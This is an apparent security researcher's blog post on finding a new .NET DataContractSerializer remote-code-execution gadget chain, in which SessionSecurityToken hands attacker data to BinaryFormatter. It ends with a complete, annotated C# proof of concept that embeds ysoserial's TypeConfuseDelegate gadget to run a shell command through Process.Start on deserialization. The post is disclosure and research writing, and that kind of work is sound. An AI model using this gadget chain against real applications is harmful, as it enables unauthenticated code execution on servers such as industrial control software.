Finding a New DataContractSerializer RCE Gadget Chain

I recently started doing some vulnerability analysis against a popular Industrial Control System (ICS) software looking for remote code execution bugs. This bug hunting was motivated by the 2020 Pwn2Own in Miami, which @steventseeley and I ended up winning! The program that was targeted is written in C# and follows a client/server model. It didn’t take long to see that it does at least some of its communication by passing .NET serialized objects over the wire, and in this case, prior to authentication! This is the advisory from zdi — https://www.zerodayinitiative.com/advisories/ZDI-20-780/

After digging into the code I found that the objects were serialized using DataContractSerializer. As a bug hunter this is one of the worst serializers to be up against because it is only exploitable in special cases. Specifically, for DataContractSerializer the Type that the data is going to be deserialized into must be controlled by the attacker. There is at least one publicly known example of this in DotNetNuke as referenced by ysoserial.net.

As luck would have it, the target I was facing was also choosing the Type based on attacker controllable input. I presumed all that needed to be done was to figure out how to package the exploit payload correctly to pass it over the network and I’d be good. And it actually was almost that easy. The Type is supplied by the attacker, but then is checked to see if it falls into the program’s whitelist of allowed Type‘s. Turns out ExpandedWrapper and WindowsIdentity were not in the whitelist and these are the two classes that have DataContractSerializer gadgets in ysoserial.net.

So it was time to find a new gadget! I spent some time trying to understand how the existing DataContractSerializer gadgets worked. It turns out that the the WindowsIdentity gadget actually uses BinaryFormatter internally when it gets deserialized. This is explained in WindowsIdentityGenerator.cs of ysoserial.net, and looks like this:

        public override string Description()
        {
            return "WindowsIdentity Gadget by Levi Broderick";

            // Bridge from BinaryFormatter constructor/callback to BinaryFormatter
            // Usefule for Json.Net since it invokes ISerializable callbacks during deserialization

            // WindowsIdentity extends ClaimsIdentity
            // https://referencesource.microsoft.com/#mscorlib/system/security/claims/ClaimsIdentity.cs,60342e51e4acc828,references

            // System.Security.ClaimsIdentity.bootstrapContext is an SerializationInfo key (BootstrapContextKey)
            // added during serialization with binary formatter serialized Claims

            // protected ClaimsIdentity(SerializationInfo info, StreamingContext context)
            // private void Deserialize
            // using (MemoryStream ms = new MemoryStream(Convert.FromBase64String(info.GetString(BootstrapContextKey))))
            //     m_bootstrapContext = bf.Deserialize(ms, null, false);
        }

The whitelist I was dealing with was by namespace rather than specific Type‘s, so any class inside the namespace could be used. I decompiled all the .net System libraries which were in the whitelist and started looking for classes which were marked as serializable and also used BinaryFormatter somewhere inside. Basically looking for a similar pattern to what was exploited with WindowsIdentity. Eventually I found just that in the SessionSecurityToken class. This class in in the System.IdentityModel namespace which was in the whitelist. The code that gets taken advantage of looks like this:

// SessionSecurityToken.cs
// https://referencesource.microsoft.com/#System.IdentityModel/System/IdentityModel/Tokens/SessionSecurityToken.cs
private ClaimsIdentity ReadIdentity(XmlDictionaryReader dictionaryReader, SessionDictionary dictionary)
{

	...
	
	if (dictionaryReader.IsStartElement(dictionary.BootstrapToken, dictionary.EmptyString))
	{
		dictionaryReader.ReadStartElement();
		byte[] buffer = dictionaryReader.ReadContentAsBase64();
		using (MemoryStream memoryStream = new MemoryStream(buffer))
		{
			BinaryFormatter binaryFormatter = new BinaryFormatter();
			claimsIdentity.BootstrapContext = (BootstrapContext)binaryFormatter.Deserialize(memoryStream);
		}
		dictionaryReader.ReadEndElement();
	}
	dictionaryReader.ReadEndElement();
	return claimsIdentity;
}

To be perfectly honest, I didn’t take the time to understand this code too much. I just set a breakpoint on the call to deserialize and then wrote some test code to try and hit it. When that strategy worked I tried setting the BootstrapContext to a BinaryFormatter gadget and the payload worked. I’ll stop talking now and instead provide an annotated PoC:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IdentityModel.Tokens;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Serialization;
using System.Security.Claims;
using System.Text;

namespace SessionSecurityTokenGadget
{
    class Program
    {
        static void Main(string[] args)
        {
            SessionSecurityToken gadget = SessionSecurityTokenGadget("calc");

            // create a big buffer since we don't know what the object size will be
            byte[] initialObjectBuffer = new byte[0x1000];

            // create a stream pointing at the buffer
            MemoryStream stream = new MemoryStream(initialObjectBuffer);

            // serialize the object into the stream
            DataContractSerializer serializer = new DataContractSerializer(gadget.GetType());
            serializer.WriteObject(stream, gadget);

            // create a new buffer that is the exact size of the serialize object
            byte[] finalObjectBuffer = new byte[stream.Position];

            // copy the object into the new buffer
            Array.Copy(initialObjectBuffer, finalObjectBuffer, stream.Position);

            // create stream pointing at the serialized object
            stream = new MemoryStream(finalObjectBuffer);
            //stream.Position = 0;

            // deserialize it and get code execution
            serializer.ReadObject(stream);
        }

        public static SessionSecurityToken SessionSecurityTokenGadget(string cmd)
        {

            // - Create new ClaimsIdentity and set the BootstrapConext
            // - Bootrstrap context is set to to the TypeConfuseDelegateGadget from 
            //      ysoserial and is of Type SortedSet<string>
            // - The TypeConfuseDelegateGadget will execute notepad
            ClaimsIdentity id = new ClaimsIdentity();
            id.BootstrapContext = TypeConfuseDelegateGadget(cmd);

            // - Create new ClaimsPrincipal and add the ClaimsIdentity to it
            ClaimsPrincipal principal = new ClaimsPrincipal();
            principal.AddIdentity(id);

            // - Finally create the SessionSecurityToken which takes the principal
            //      in its constructor
            SessionSecurityToken s = new SessionSecurityToken(principal);


            // - The SessionSecurityToken is serializable using DataContractSerializer
            // - When it gets deserialized the BootstrapContext will get deserialized 
            //      using BinaryFormatter, which is more powerful from an attackers
            //      perspective, and will not be subject to any kind of whitelisting.
            //      In this sense it a "bridge" from DataContractSerializer to
            //      BinaryFormatter
            // - This will cause an exception to be thrown when the BootstrapContext
            //      is deserialized, but we still get the command execution:
            //          Unhandled Exception: System.InvalidCastException: Unable to cast 
            //          object of type 'System.Collections.Generic.SortedSet`1[System.String]' 
            //          to type 'System.IdentityModel.Tokens.BootstrapContext'
            return s;
        }

        //https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TypeConfuseDelegateGenerator.cs
        // thanks guys!
        public static SortedSet<string> TypeConfuseDelegateGadget(string cmd)
        {

            Delegate da = new Comparison<string>(String.Compare);
            Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
            IComparer<string> comp = Comparer<string>.Create(d);
            SortedSet<string> set = new SortedSet<string>(comp);
            set.Add("cmd");
            set.Add("/c " + cmd);

            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = d.GetInvocationList();
            // Modify the invocation list to add Process::Start(string, string)
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(d, invoke_list);

            return set;
        }
    }
}